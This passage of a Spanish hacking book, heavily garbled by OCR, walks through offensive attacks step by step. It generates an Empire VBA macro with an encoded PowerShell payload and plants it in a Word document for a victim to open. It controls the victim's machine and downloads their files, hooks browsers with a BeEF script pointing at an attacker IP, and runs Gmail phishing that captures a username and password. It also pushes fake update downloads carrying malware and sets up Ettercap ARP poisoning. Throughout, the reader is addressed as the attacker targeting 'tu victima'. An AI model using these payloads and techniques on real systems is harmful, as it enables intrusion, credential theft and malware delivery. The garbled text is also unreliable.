User-agent string to use for the staging
;equest (default, none, or other)., :
roxy to use for request (defaul o
or ather), el
Times for the stager to retry
connecting.
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Y ahora ejecutaremos el stager con el comando

execute.

Podemos observar que ahora en nuestro escritorio
hay un archivo llamado virus.txt con codigo en

Visual BASIC, este es nuestro codigo malicioso,

vamos a necesitar integrarlo a un documento Word

para que nos sea atil, selecciona el codigo y

copialo.
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Sub Auto Open(
t
End Sub

Sub Document_Open()
t
End Sub

Public Function t{) As Variant
Dim OXNK As String

OXNK = "powershell -noP -sta -w 1 -enc SQBmACQAJABQAFMAVG"

OXNK = OXNK + "BFAHTAUWBIAEBADGBUAEEABMAEUALgBOAFHAVGBFAFTACWBD ™
OXNK = OXNK + "AEBATQAUAEBAYOBKAEBACYAGACOAZWBACAAMWAPAHS AJABHAF "
OXNK = OXNK + "AARGAIAFSACOBFAEYAXQAUAEEAUWBZAEUADOB1AGWANQAUAECA®
OXNK = OXNK + "RQBUAFOAeQBwAGUAKAANAFMAQBZAHQAZOBtAC4ATOBRAGIAYD"
OXNK = OXNK + "BnAGUABOBLAG4AdAAUAEEAJOBOAGBALOBhAHOAAOBYAGAAL gBY"
OXNK = OXNK + "AHQAROBSAHMAIWAPACAALGBHAGUAVABGAEKAZOBOAEWARAATACY
OXNK = OXNK + "gA]ijAGEAYUBBAGU!\ZABHAHiAwa]_nHAAlIABvA(iwAaQBjARkA"
OXNK = OXNK + "UwBTAHOAABPAG4AZWBZACCALAANAEAATWAFACCADWBUAFAADQ"
OXHIC = OXNK + "B1AGWAaQB]ACWAUWBOAGEAABPAGHAIVADADSASQBMACOAJABH
OXNK = OXNK + "AFAARGApAHSAJABHAFAAQWAIACQARWBOAEYAL gBHAGUAdABWAE®
OXNK = OXNK + "EADABIAGUAKAAKAG4AQBMAEWAKOATAEKARgADACOARYBOAENA"
OXNK = OXNK + "WWARAFMAYWBYAGKACABOAETAIVArACCADABVAGHAGHBMAGBAZY"
OXNK = OXHK + "BnAGKADGBACCAXOAPAHSATABHAFAAQWBDACCAUWB] AHIAZQBY"
OXNK = OXNK + "AHOAQQANACSAIWBSAGBAYWBrAEWADWBRAGCAROBUAGCAIWBAF®
OXNK = OXNK + "SAJWBFAGAYQB1AGWAZOBTAGMACGBPAHAAGABCACCAKWANAGA®
OXNK = OXNK + "bwB]AGSATABVAGCAZVBPAGAAZWANAFOARAWADSATABHAFAADY"
OXNK = OXNK + "BbACCALWB]AHIAGQBWAHOAANACSAIWBSAGBAYWB rAEWADWEN "
OXNK = OXNK + "AGCAAQBUAGCAIWBAAFSAJWBFAGAAYQBIAGWAZOBTAGMACGBPAH"

S T B e e

ING

Infectar el archivo office con el codigo
malicioso
Ahora abre un documento de Office Word, y activa

las opciones de desarrollador, para esto, deberas

- abrir la opcion donde dice files.
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Ahora, vete a las opciones de

«“customize ribbon”, y asegurate que Ahora notaras que en la barra de opciones en la

la opcion “developer” o desarrollador, parte superior tienes una opcion que se llama

oste-aciivada Account desarrollador o developer, haz clic en esta, y en el

Feedback botén que dice “visual basic”.
Cptions E =

Home  Inset  Draw  Design  layout  References  Mailings  Review  View RISEIWEE  Help  ACROBAT

| = .:.dﬂecurd Macro

II$ Pasise R=rording

Aa fa (2 T B Design Mode
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. ; Add- Word COM o XML Mapping ¢
A MacroSecurity g Adgeins Add-ins & B o8 Graug Pane  Authers Editing  Template
Code Add-Ins ; Controls Mapping Proted Templates
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Ahora haz clic en el documento a la izquierda.

E Microsoft Visual Basic for App

File Edit Insert  Fo

Project - Project

N=1=1=

- ,ﬁ Hormal
B ﬁ Project {Documentl}

View

5- . ThlsDocument

Y te deberia aparecer una consola en blanco, ahi

pega el codigo que generaste en Empire.

VWonrresur

Una vez hecho esto, haz clic en el icono

382

. ' Fle Edit V
de grabado en la parte a la izquierda 2 i
=1
superior, y grabalo como un documento B
.doc.
e A5 %
g v /b [0 » THISPC > Deskrop » Libro wildh | Yearh Lileo »
HNew folder - o
(B} WE
cument (. deh) 2 7"
nahed Ducuent( docm)
WnrdM trEn bfed T:mpl % e {*.datm)
:QFT-W 2003 Template
;iFSD \I:le:h *.mhtmi)
:(}\Tmi el
Strict Open X0l ent {".doc)
iListo! Ya tienes, por un lado, el escuchador, y por
otro, el archivo Word con cédigo malicioso, (=
ahora si tu victima abre el archivo Word y WE’
| E—

acepta la barra superior (lo cual con ingenieria
social es facil de conseguir), tendras acceso

remoto de su sistema.

' SECURITY WARNING Macros have been disabled. i_ Enable Corﬁent
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Controlar al sistema remotamente

Una vez que esto sucedey tienes acceso a tu
victima, tendras acceso via una powershell, esta
herramienta es alin mas poderosa que una consola
de comandos, ya que puedes ejecutar comandos

avanzados por este medio.

Obteniendo acceso al sistema
comprometido

Ahora en tu consola de Empire deberian
aparecerte agentes, €s decir, sistemas

comprometidos.

384

=
|
|
|
|

i \
—
|
|

||
(]
WAL
[
[

782 modules currently loaded
1 listeners currently active
o agents currently active

ire) > [+] Initial agent EDFBRCXT from 192.168.1.83 now active (Slack)
mitial agent 4ABTWGEF from 192.168.1.83 now active (Slack)

Para interactuar con estos agentes, basta con
escribir agents para que te de una lista e
informacién de los agentes, e interact <nombre>,
siendo el ID el nombre del agente para obtener
control del sistema por medio de powershell.

) > agents

Ldﬂj Internal IP

Machine Name Username Process

ps 192,168,159, 1 feMSI
ps 192.168.159.1 feMSI

MSI\Pablo Gutierrez powershell/24004
MSI\Pablo Gutierrez powershell/27592

gepts) > interact EDFBRCXT
I i
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Una vez que tu terminal muestre el nombre del

agente, significa que tienes un acceso por medio

de powershell, esto significa que, aungue tienes un
alto grado de control del sistema, tiene un pequefio

retraso en tiempo de respuesta, y deberas usar

modulos de post explotacion relevantes a

powershell para hacer cosas mas avanzadas.

Obteniendo informacion del sistema

Con el comando sysinfo la consola te dara

informacion del sistema como sistema operativo, IP

interna, usuario, y nombre del proceso.

(Empire:
(Empire:

) > sysinfo
) > sysinfo: O|http://192.

0::6506:6c8d:abdl:a2d9 192.168.1,70 fe80::f
84f |Microsoft Windows 10 Home | False | powershs

Listener:
Internal IP:

92.168.1.83 fed0::6c2d:
MSI\Pablo Gutierrez

Username:

http://192.168.1.67:80
192.168.159.1 fe80::996:

192. 1%

Hostname: MST

0S:

High Integrity:
Process Name:
Process ID:
Language:
Language Version:

Microsoft Windows 1@ Home
0

powershell

24004

powershell

5
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Debido a que tenemos una conexion powershell

podemos hacer cosas como navegar por los

directorios del sistema comprometido usando

sintaxis Linux, ver archivos, y descargarlos

[ (Empire:
(Empire:
Path

C: \WINDOWS\ system32

(Empire:
(Empire:
Path

i\

(Empire: ) >
LastWriteTime Length
10/23/2017 2:20:26 AM
2/28/2018 10:05:41 PM
4/25/2018 6:47:00 P

1/7/2018 3:13:32 AM

8/6/2018 10:30:35 AM
10/22/2017 9:23:09 PM

Name

$GetCurrent
$Recycle.Bin
82ace’d6-0197

Config.Msi
Documents and Settings
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También, si requieres hacer algin comando en
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Si encontramos un archivo que queremos

descargar, por ejemplo, este archivo llamado particular, puedes utilizar los médulos de Empire

ARCHIVO SECRETO.txt que estan en la carpeta modules.

4/24/2018 11:24:16 AM 19 ARCHIVO SECRETO, t"j\ ( b ||+ :.|7§|7Wupi  Explotacion Emp;e b modules _bowersheﬂ ) !Ei i': j = e
Basta con ejecutar el comando download ras el 1 = : _ =

‘ j ) Recent
i I 3 . g =

nombre del archivo, para descargarlo.

) > download "ARCHIVO SECRETO.txt" " ,
) > [+] Part of file ARCHIVO SECRETO.txt from EDFBRCXT  Deskiop R = e S
' Doctiments : ‘ ‘ ,

(t Home code_ collection  credentials  exfiitration ~ exploitation  lateralL. ~ managemen
(Empire: | execution mavement t

(Empdire:
recon situational_  trollsploit

| persistence  privesc
: awareness

(Empire: ) >
[*] File download of C:\ARCHIVO SECRETO.txt completed

) Dol loads

Nota que los archivos descargados se guardaran

en la carpeta downloads dentro de la carpeta |

O RO e e DR sabes el nombre/direccion del moédulo), primero
¢ » 4« [@ opt Explotacion Empire downloads  EDFBRCXT E ) . -

—_ = | usa searchmodule para saber la direccion del
i) Recent =" ‘ modulo, vamos a buscar uno que imprima un

- |

@ Home ' ARCHIVO mensaje en la maquina del objetivo, para esto

SECRETO. | .
. escribe searchmodule message.

Para utilizar alguno de estos, deberas utilizar el

Empire. comando usemodule y searchmodule (si no

g

# Deskiop
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(Empire: ) > searchmodule message ;

python/trollsploit/osx/change_background | e T?@T? yaluer pestriprion
- ) 1 ‘ Text  THUe Lost contact with the Message text to display.
Change the login message for the user. . Domain Controller.
oiType Trte Critical Critical, Question, Exclamation, or i
Information :
powershell/trol 1sploit/message i ent  Tnue EDFBRCXT Agent to run module on.
le True ERROR - ©xA801B720 Title of the message box to:display.

[LE

' ifi ge to the user. N : ot :
Displays a specified messag r ire: hell/trollsploit/message) > set MsgText "WhiteSuit Hacking te ha hackeado."

Y para ejecutarlo, basta con escribir usemodule En este modulo, se mostrard un mensaje de error

trollsploit/message, nota como solo escribi lo que en la computadora del infectado, sin embargo, hay

sigue de powershell, ya que lo primero esta otros médulos desde para robar contrasefias, hasta

implicito. para atacar a otras maquinas desde la maquina

(Empire: ) > usemodule powershell/trollsploit/messf!- - comprometida.

: Nota: “opsec safe” se refiere a que este moédulo es
(Empire: ) > usemodule trollsploit/message g . '
(Empire: powershell/trollsploit/message) > | muy notorio, sin embargo, existen otros mas

sigilosos.

Cualquier modulo que ejecutes deberas w R car ol N LT x
» fnpire: powershell/trollsploit/message) > execute
configurarlo con la opcion info, modificar las y & wsnnansn
| ' - . i | iteSuit Hacking te ha hackeads.
. : : pLre: rshell/trollsploit/message) > -
es con set y ejecutarlo : / -
variables que necesites c y € [ started: 645L2

o]

posteriormente con execute.

(Empire: powershell/trollsploit/message) > infol
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e, hay muchas mas cosas que

Adicionalment
ne, pero puedes

puedes hacer de las que mencio
cribiendo el comando help y

s en modulos

darte una idea es
dandole un vistazo a las carpeta

dentro de Empire.

(Empire: ) = help

a listener, Ex. spaun <listen

ad a file. :

11 a download job
|;'Pm| or syntax for particular conmands.
i about this agent o
o 11cod tener shellcode into @ remate proce
injectshellcode ene

s, EX, injectshellrt\de <meter Listener

&5

. )
ange the Limit on lost agent detection

main meny.
mikatz on the client.
a ncher into a remote pro
PTH for a CredID through

ue aqent.a 1ist of Empire commands from a file.

S ens Lo revert token privileges.
reytosel’ L

Ex. psinject <listener> <pid/process namne

‘VW}-![T[E SUIT

Otra de las formas de comprometer un sistema

Ataques por medio del navegador

tiene que ver con ejecutar cddigo malicioso en una
pagina web. El fundamento de esto, es que todos
los navegadores corren paginas sobre un lenguaje,
antes Java y Flash eran muy comunes, sin
embargo, hoy en dia el mas comun es JavaScript,
que es de hecho es tan comun, que practicamente
todas las paginas web corren algo de JavaScript, y
todos los navegadores, tanto de Android, como
Linux, como Windows, Macintosh y iOS, ejecutan
JavaScript para cargar paginas web, asi que eso
convierte al lenguaje en uno de los vectores de
ataque mas versatiles que existen.

Sin embargo, tiene limitantes, el primero es que, en
la mayoria de los sistemas, los navegadores corren

en una caja de arena, es decir, no es tan facil

saltarse del acceso al navegador al sistema,
aunque utilizando un poco de ingenieria social y

algo de creatividad, es posible y el segundo, es que
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Las ligas que nos interesan son las que tienen la IP

‘VW!‘"TE SUp

© K

la victima tiene que tener el codigo malicioso

LAN o publica, no la que tiene la direccion local.

i~# cd /usr/share/beef-xss/

] ) b vJusr/share/beef-xss# 1s

Malware en pagina web por medio de JS malicioso les beef cert.pem config.yaml db Gemfile modules ?
beef key.pem core extensions Gemfile.lock ‘

ejecutandose para que tengas acceso.

La herramienta que utilizaremos en esta ocasion se
fuar!shafe/beeT xss# , /beef

llama beef-xss, es una herramienta escrita en 43 | Bind sacket [inapeudoral] Listening on [0.0.0,8:2000].

. ! " Browser Exploitation Framework (BeEF) 0.4.7.0-alph
m dara dos cosas: - . K
Python que esencialmente te 13 | Twit: @eefproject

1. Una liga a un coédigo malicioso 43 | Site: http://beefproject.com
: i ; | Blog: http://blog.beefproject.com
JavasScript, que se llama hook’ 43 | Wiki: https://github.com/beefproject/beef/wiki

| Project Creator: {@WadeAlcorn)
| BeEF is loading. Wait a few seconds...
12 extensions enabled.
254 modules enabled.
| 2 network interfaces were detected.
[+] running on network interface: 127.0.0.1
| Hook URL: http://127.0.8.1:3000/hook.js
| UI URL: http://127.0.0.1:3000/ui/panel
running on network interface: 192.168.1.67
|  Hook URL: http://192,168.1.67:3000/hook.]s
| UL URL: http://192.168.1.67:3000/ui/panel
RESTTUl API key: 0bc21359296624210339160aa5¢c712b160194622
. HTTP Proxy: http://127.0.0.1:6789
. BeEF server started (press control+c to stop)

Este codigo malicioso deberas inyectarlo en

una pagina web y enviarla a tu victima.

(ST Y]

2. Un panel de control
En este panel de control ejecutaras los

o o
= =
(O8]

o Lo o o o tu W W

ataques a tu victima.

= el AL SR AT el SR O Sl o
ot )

Esta herramienta ya viene preinstalada en Kali, asi

que, para abrirla, ejecutalo en su directorio

— = =

LD o Lo o o &

Jusr/share/beef-xss y escribe ./beef-xss dentro

del directorio para ejecutarlo, una vez que lo

ejecutes, te generara dos ligas con tu IP, una es ] _ ’ :
Asi que lo primero que haras, es abrir un

del panel de control y |a otra es la url del codigo -
navegador, y escribir http://<IP>:3000/ui/panel, en

malicioso(hook).

394




<

‘V\HNHITE su

K | W
Y

los campos de autenticacion el usuario y la

contrasefia son ambas beef.

| BeEF Authenfication ® + = T R e ?1
o | e E‘j'\:-\‘iﬁl1h.

===y

€ QF | 192.168.L67 00t

Authentication b
Username: heef
. Password:

Este es tu panel de control, aqui es donde
apareceran los navegadores que estén
comprometidos, ahorita no has utilizado tu “hook”
(el coédigo malicioso) en ninguna pagina, asi que
naturalmente deberia de estar vacia la carpeta

“online”.
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"~ Hooked Browsers
~ | JOnline Browsers
b C] Offline Browsers

BIOC type="text/javascript" src="http://192.168.1.67:3608/hook. js"></scripts

Vuwrrresur

Gelling Started

Legs

EXNDLOITATION FRAMEBWDORE BROJEDT

Official website: hitp:/heetproject.com/

Ahora, ve hacia tu directorio publico, es decir
Ivariwww/html, y crearas un nuevo archivo
index.html escribiendo gedit index.html, se abrira

un editor de texto, si hay algun cédigo en este
archivo, borralo.

/# cd /var/www/html
: /var/www/html# gedit index.html

Ahora, escribiras en este archivo, el siguiente
codigo.
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Lo importante aqui, es la tercera linea, esta puede
ser inyectada en cualquier pagina, pero ahorita
dejamos la pagina en blanco por simplicidad, pero
podrias haber usado cualquier pagina web.

Ahora inicia el servicio Apache2 para hacer

accesible tu directorio publico.

: Jvar/wwi/htmlg service apache st

Listo, ahora solo falta que tu victima abra la pagina
web, y en tu panel de control te aparecera su
navegador, para probarlo, puedes abrir la pagina
web ingresando tu IP en cualquier navegador, algo
asi como http://<ip>, por ejemplo, en mi caso seria
http://192.168.1.67

Al abrir esa pagina, podras ver en tu panel un

nuevo navegador en linea.
~ Hooked Browsers
' 4 /] Online Browsers
41192.168.1.67

7 W% 192168183

.| Offline Browsers
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Controlando el sistema comprometido

Una vez que tienes el sistema comprometido,
deberas hacer clic en el sistema dentro de la
carpeta, y te apareceran modulos que puedes usar
para atacar, pero primero tienes que entender el
significado de estos.

Controlar al navegador te permite hacer mas cosas
de lo que piensas, en cuanto a los modulos, lo que
tienes que entender es que verde significa que el
modulo funciona y es sigiloso, naranja es que
funciona, pero no es sigiloso, blanco es que no se

sabe si funciona, y rojo es que no funciona.
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Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser ta has
number of sub-tabs, described below: |

Main: Display information about the hooked browser after you've run some command modules,
Logs: Displays recent log entries related to this particular hooked browser.

Commands: This tab is where modules can be executed against the hooked browser. This is Where
most of the BeEF functionality resides. Most command modules consist of Javascript code that g
executed against the selected Hooked Browser. Command modules are able to perform any actigng
that can be achieved through Javascript: for example they may gather information about the Hookeg
Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities within the:
local network of the Hooked Browser. :

Each command module has a traffic light icon, which is used to indicate the following:
The command module works against the target and should be invisible to the user
" The command module works against the target, but may be visible to the user

The command module is yet to be verified against this target
@ The command module does not work against this target

XssRays: The XssRays tab allows the user to check if links, forms and URI path of the page (where
the browser is hooked) is vulnerable to XSS.

Rider: The Rider tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser,
Each request sent by the Rider is recorded in the History panel. Click a history item to view the HTTP.
headers and HTML source of the HTTP response.

Network: The Network tab allows you to interact with hosts on the local netwaork(s) of the hooked
browser.

Una vez que hagas clic en el sistema

comprometido, veras un menu con varias pestanas.

‘VWHITE SUIT

i Logs Current Browser

E ée:ii:ig

;eiails Logs ¥ Commands

i Ipec || Metwork [ \WebRTC

o Category: Browser (6 Items)
growser Version: UNKHOWN
Browser UA String: Mozilias5 0 (Windows NT 10.0; Wingd; x64) AppleWebiit537.38 (KHTML, like Gecko) Chremei67.0.3396.99 Safari/S37 38
prowser Language: én

pgrowser Platform: Win32

prowser Plugins: Chrome POF Plugin Chrome POF Yiewer Mative Client

Window Size: Widlh: 1920, Height: 947

@ Category: Browser Componenis (12 ;lem;)

;‘mtequry: Hooked Page (5 Ttems) - )
; Category: Host (B Ttems)

La pestaiia “Details” te servira para obtener
informacion del dispositivo, pero lo que realmente
nos interesa es la pestafia llamada “Commands”,
donde estan los médulos que podras ejecutar

contra el sistema.

_7[?-5Ea-‘l:. | Logs Commands
- Module Tree .
Cada mddulo tiene diferentes usos, . .

| =71 Browser {(53)

| &+ [ Chrome Extensions (8]
{ & [ Debug (9)

| & [ Exploits (78)

> {21 Hest {22)

i COIPEC {9)

- [ Metasploit (1

b CIMisc (18

) [ & [ Metwork (19)
sistemas NAS o routers, son | b [CJPersistence (5)

{ & [ 1Phonegap (18)

| & (] Social Engineering {21)

desde obtener informacién

adicional del sistema (como que

antivirus tiene instalado), hasta

reconocimiento en la red de la

victima para encontrar o atacar

demasiados ataques y modulos
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para mencionarlos todos, asi que te daré dos

ejemplos con los cuales al saber la mecanica de su

funcionamiento podras ejecutar cualquiera de los

demas modulos.

Robo de credenciales

Lo primero que veremos s como podrias utilizar el
navegador infectado para redirigir a tu victima a

una pagina falsa donde podras robarle sus

credenciales.
Para empezar, ve a la carpeta de “Social

Engineering” y selecciona “Google Phishing”
4 7 Social Engineering {21)
Clickjacking
_ Fake LastPass
_ Leamtuf Download
@ Clippy
& Fake Flash Updalz _
# Fake Mofification Bar i{}hrori]
@ Fake Mofification Bar (Firefo
4 Fake Mofification Bar (IE} ‘
i Google Phishing

Dentro de las opciones, en el XSS Hook esta el
HTML que se utiliza para el ataque, en este caso

tiene un modelo de Gmail, sin embargo, ti puedes

402

darle la ruta de alguna pagina maliciosa que tu
hayas creado, por ejemplo, con SEToolkit o

Shellphish de las secciones anteriores.

Google Phishing

Deseription: his plugin uses an image tag to XSRF the logout buttan of Gmail. Canbnuo: = user is fogged out of Genall {e0. F his is logged in i
L gl uses enimage tag to XSRF th
! it Bil bruoushy th
URL is HOT tha Gmaii URL), :

i heis loge in

: 5
XS5 hook URL: Ep:"‘!_ﬂ[’_—giﬂQ'JDﬂ'dEk‘;Gsfba;i(,htm-\ - )

Gmaitlogout 10000
Interval {ma): 1o

Redirect delsy 100
) e S

ms) _—

| confi AQgi
Al configurar la pagina que deseas utilizar, ejecuta
el comando en el botdn “execute” a Ia derecha

inferior de la pagina.
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de la pagina a la pagina falsa creada | Ahora, si lo que buscas es obtener acceso a su

‘way; U

Al hacer esto, la pagina de la victima se redirigira Descarga de malware

dwew sistema, probablemente uno de los mejores

caminos para ello sea engafiarlo para descargar un
o ejecutable malicioso.
Ahora, recuerda que este codigo malicioso lo

puedes inyectar en cualquier pagina, asi que, con

esto, desde el punto de vista de la victima, es el

navegador el que le esta diciendo lo siguiente,

; : estafa en ; -
A ti en tu panel te aparecera ahora una p vamos a intentar convencer a la victima de que

la seccion de resultados. | descargue una “actualizacién” que tenga codigo
Module Results History ‘ malicioso.
id »  date labst ' ‘

Para esto, de nuevo, ingresa a la carpeta de
0 20:18-08-08 01:50  command 1

“Social Engineering”, pero ahora seleccionamos

i i 3 lo que tu victima e \ L
Y si haces clic, te mostrara lo g uno de los siguientes médulos, lo que hara es que

escribié en los campos. mostraran una descarga o notificacion a descarga

Command results

1

para que tu victima descargue un ejecutable. |

data: result=Username: librodehacker@gmail.com Password: mn;;asenahackﬂ . Fake Flash Update

| » Fake Motfication Bar (Chrome) |
Fake Mofification Bar (Firefox)

o Fake Mofification Bar (IE)
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, i
Vamos a utilizar el ejemplo de Chrome, pero toma ‘ S5 Q 192.168.1.67

, Audmonal plugins are required to display all the me e

en cuenta que puedes modificar los archivos para .

| Instaﬁ Massﬁghggmsi | %

~

que muestren lo que consideres adecuado.

Ahora después de hacer clic en el médulo, podras Recuerda tomar en cuenta Ia seccién d detall
e detalles al

una vez que configures eso, ejecuta el programa, tipo de malware a utilizar

de nuevo con el boton “execute” a la derecha
Otros ataques |

inferior.
Fake tiotification Dar {Chrome) . Hay mUChOS 2 A
Description:  Displays  fake notéication bar at the top of the screen, simifar to those presented in Chrome, If the user dcis the notification they vl b2 prempted (oda‘.'mhadﬁufn:mmz maS mOdu,OS para atacar en Beef#
You tan mount 3n exa in BeEF 35 ser extensions/sodal_engineering/dropperg/readme.bit. | deSde lntentar Obtenel’ |nformaclén de CorreOS

1: B2 | A

v SR R — . electrénicos, hasta secuestro de sesion i‘

lotfication ‘Adﬂhnng{plugmsaﬁqul&d to m!a-,-allm;;earaunlhispage. ksl o S : . . ' I

o torl N ] persistencia, o incluso i6 i ‘

obtencion de info i |

! rmacion de ‘

ubicacion entre otras cosas, especialmente sj se

A tu victima le aparecerd una notificacion similar a . : . |
esta en un dispositivo movil, asi que recomiendo |
i

esta, y al hacer clic se descarga el ejecutable al
que veas todas las carpetas y médulos todos se
que tu hayas apuntado en la URL en la pantalla ejecut imi ,
Jecutan de forma similar, con el botén “execute” y
modificando las variables a| seleccionar el médulo. |

relativo al ejecutable que enviaste (claro, si envias |

anterior, y, al ejecutarse, te daria un acceso remoto

un ejecutable por ejemplo de Metasploit, deberas
tener el escuchador activado para establecer una

conexion).
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4 JMisc (18)
T IBAY iNites (5)
BazeCrack

Googie Search

iFrame Event Logger
Loca File Thef
@ BlockUl Moda! Daslog
& Raw JavaSorpl
@ Read Gmad
@ UnBlockiN
@ Frame Snfles
" IHetwork (19
| 4 _JPerusiente (5
Kar-in-The-Browsed

Coie ade imasble Hrame

Wordpress PostAyth RC

Wordpress Acd Aamenst

& Confirm Close Tab

@ Create Foreground iFrame

@ Create Pop Under

4 =] Phonegap (18}

Aleri User
Beesp
Check Connection
Detect FroneGap
Gaglocation
Slehalization Slatus
keychain

List Contacls

Ligt Files

List Plugins

Persisi resume

Persisiance

Frompt User

Siart Recording Audio

Stop Recording Audio

Upload File

408

Compatibilidad

Este ataque funciona con todos los navegadores,
ya sea en dispositivos moviles o en computadoras,
haciendolo altamente versatil, asi que no dudes en
intentar los médulos en la carpeta “Phonegap” si

obtienes acceso a un dispositivo movil.

Ataques Wifi

Ataques de intercepcion de informacion en
la red (MITM)

Si estamos conectados a una red en donde
queremos espiar a los usuarios conectados a esta,

podemos hacer lo que se llama un atague de

hombre en medio, o MITM, por sus siglas en inglés.

Este ataque, aunque muy util, e= bastante sencillo,
a pesar de que estadisticamente hablando
(especialmente en México) muy pocas
organizaciones han puesto mitigaciones contra
esto, funciona poniéndonos entre dos sistemas que

estan en comunicacion
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Para que me entiendas mejor, imagina que
tenemos tres personas en una habitacion, Juan,
Rodrigo y Alan, cada uno tiene un nimero en esa
habitacién, Juan tiene el numero 1, Rodrigo el 2, y
Alan el 3, y utilizan estos numeros para
comunicarse, es decir, si Juan quiere mandar un
“hola” a Rodrigo, no pone en el remitente “Rodrigo”,
pone “2”, adicionalmente, Juan y Rodrigo solo
mandan lo que comuniquen una vez a una sola
persona. Juan y Rodrigo estan teniendo una
conversacion privada, y Alan, quiere escucharla,
entonces Alan empieza a mentir, le dice a Rodrigo
que Alan es el 1, y a Juan que Alan es el 2,
entonces Juan le manda el Hola a Alan, Alan le
manda el hola a Rodrigo, y Rodrigo contesta, sin
embargo, a través de esto, Alan esta viendo todo lo
que se comunica entre Juan y Rodrigo mientras
que no esté encriptado.

A pesar de que el ataque es muy efectivo, es
relativamente facil de identificar si sabes que estas

buscando, piensa ldgicamente, en el ejemplo

410
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anterior, si Juan y Rodrigo se dicen “hola” cada
quien, ¢cuantos “holas” se mandaron? Dos, sin
embargo, si Alan se pone en medio, y recibe el
‘hola” de Juan, y se lo manda a Rodrigo de parte
de Juan, y Recibe el “hola” de Rodrigo y se lo
manda a Juan de parte de este, cuantos “hola” ise
mandaron? La respuesta es cuatro (el doble), esto

se conoce como duplicacion de paguetes, hablaré

de esto en unas paginas mas.

.
Web Application

- New Connection

Man in the Middle
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Antes que podamos realizar ataques, hay que

Protocolo ARP

entender un poco sobre el protocolo ARP (Address
Resolution Protocol). Este es un protocolo utilizado
principalmente en routers y.switches que se utiliza
para procesos relevantes a asociar una direccion
fisica (MAC) con una direccion IP, y es bastante
sencillo de entender, lidia con dos cosas
principales, una pregunta, y una orden:
1. ¢La pregunta “Quién tiene esta IP? Dile a
esta IP”

Esta pregunta simplemente pregunta qué direccion
MAC tiene asociada alguna direccion IP en
particular, sirve para saber a qué maquina se
enviara algun paquete, y también para saber si la
direccion IP ya esta asociada o esta disponible, de
hecho ya hemos utilizado de esta forma este
protocolo, al realizar un escaneo nmap en la red,
esta forma de saber quién esta o no en la red tiene
una ventaja importante: no le tenemos que

preguntar directamente a un sistema por medio de

412
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un paquete TCP o ping, podemos simplemente
preguntarle al router, ademas, los firewalls
tipicamente bloquean faciimente los paquetes TCP
que los ARP, ya que los ARP son utilizados mucho
por el router.

Este paquete usado de esta manera se ve similar g
la imagen, nétese que esta preguntando quien
tiene una IP en particular, y ordenando que se le
mande la respuesta a una IP en particular.

ARP 42 who has 192.168.1.1007 Tell 192.168.1.5
ARP 60 who has 192.168.1. 557 Teall 192.168.1.4
ARP 42 who has 192.168.1, 1197 Tel] 192.168.1.5
ARP 42 who has 192.168.1.1007 Tell 192.168.1. 5
ARP 60 who has 192.168.1, 57 Tell 192.168.1.4
ARP 42 192.168.1.5 is at 50:46:5d:33:3F:8h

ARP 60 who has 192.168.1, 557 Tell 192.168.1.4

2. Laorden “Esta IP esta en esta direccién
MAC”

El otro uso del protocolo ARP €s para dar drdenes,
en este caso, asignando una IP a una direccion
MAC, desde este momento, cualquier paquete que
se envie a esa direccién IP en particular, serg

recibida por el sistema a la cual esta asignada esa

ARP 44 192.168.65.129 is at 00:0c:29:ad:ee: 69
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Ahora que entendemos cémo funciona el protocolg

mandaremos paquetes ARP para “mentirle” a los

sistemas sobre nuestra identidad en la red.

Envenenamiento ARP

Ahora haz clic en donde dice “Sniff” v “unifi
ARP, podemos empezar a mandar paquetes de e dice “Sniff” y “unified

S » : sniffing en el menu superior.
este protocolo “mintiéndole” a los sistemas en la
red para interceptar sus paquetes.

Para esto, abre la herramienta Ettercap, File'  Sniff Options Info

escribiendo en la terminal de Kali ettercap -G. e Ummfﬂ smfﬂng G Etrl+U
Bridged sniffing...  Cirl+B |

~# ettercap -G
Set peap filter... Cirl+P

Enseguida deberia abrirse la siguiente ventana. .
Posteriormente te aparecera una pantalla en donde

ettercap 0.8.2 e 600

e seleccionas tu interfaz de red, esta debe de ser Ia
interfaz por la cual estas conectado a la red local
que intentaras interceptar, en mi caso es la eth0,
pero puede ser diferente para ti si estas utilizando
alguna antena wifi externa, o no estés

virtualizando.

Esta es la herramienta que nos permitira realizar el
ataque de hombre en medio, por medio de lo que

se llama envenenamiento ARP, debido a que
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ettercap Input

SRR |
Tt ] |

vi 2 i BEwoik MeiRces eth0 . C o

F Cancel | I

Ahora que ya esta iniciado y cargado Ettercap en tu
interfaz, lo primero que querras es un listado de los
sistemas conectados a la red, asi que del menu
superior selecciona “Hosts”, y “scan for hosts”.
Hosts View M‘rtm F_ilteilr's Lt

| Hosts list Ctrl+H
Enable IPv6 scan
" Scan for hosts
Load from file...

Save tofile...

s

a——

Esto escaneara a las maquinas existentes en tu red
mandando paquetes ARP con la funcién 1 que
menciona, pero ho muestra el listado, para esto,
deberas hacer clic en el mismo botén del menu

superior, pero ahora presionar “Hosts list’.

416

Hosts View Mitm Filters Lo

fosts list

Enable IPv6 secan
Scan for hosts Cirl+S
Load from file...

Save to file... |

Ahora te deberia de aparecer un listado de todos
los sistemas conectados en tu red, mostrando su
direccion IP, y su direccion MAC, asi como su
descripcion si es que la tiene.

nota: censure los datos de los equipos por

seguridad.
ettercap 0.8.2

Start Targets Hosts View Mitm Filters Logging Plugins Info
H'oZtEstT;
BadE: Tatada Descripton
192.168.1.65 9 8 78.local
192.168.1.70 9 31
192.168.1.71 7 4
192.168.1.76 3 6
192.168.1.79 0 9
192.168.1.83 4 E
192.168.1.115 B c8’
192.168.1,132 E 2
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Ahora, tendras que seleccionar tus victimas, es
decir, en medio de qué sistema o sistemas te
quieres poner, en este caso no necesariamente
tiene que ser uno, pueden ser muchos (pero
dependiendo de tu sistema y tu antena, podrias
toparte con cuellos de botella).

En este caso queremos interceptar la comunicacion

de una maquina, por ejemplo, la 192.168.1 .83, con

el internet, que es a través del router, pero ;que Si
no sabemos la direccion del router?
Puedes encontrar esta informacion simplemente

escribiendo en otra terminal route -n.

1~# route -n
Kernel IP routing table

Destination
0.0.0.0
192.168.1.0

Gateway
192.168.1,254
0.0.0.0

Genmask
0,0.0.0

255.255.255.0

Flags Metric Ref
UG 100 0
U 1000 0

‘VWQ-IITE SUIT
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Delete Hust

L Deltebost e I
= = # AdmeargetI ] Add to Target 2 |

Listo, podemos confirmar nuestros objetivos, o

hacer cambios, en la seccién “targets”.

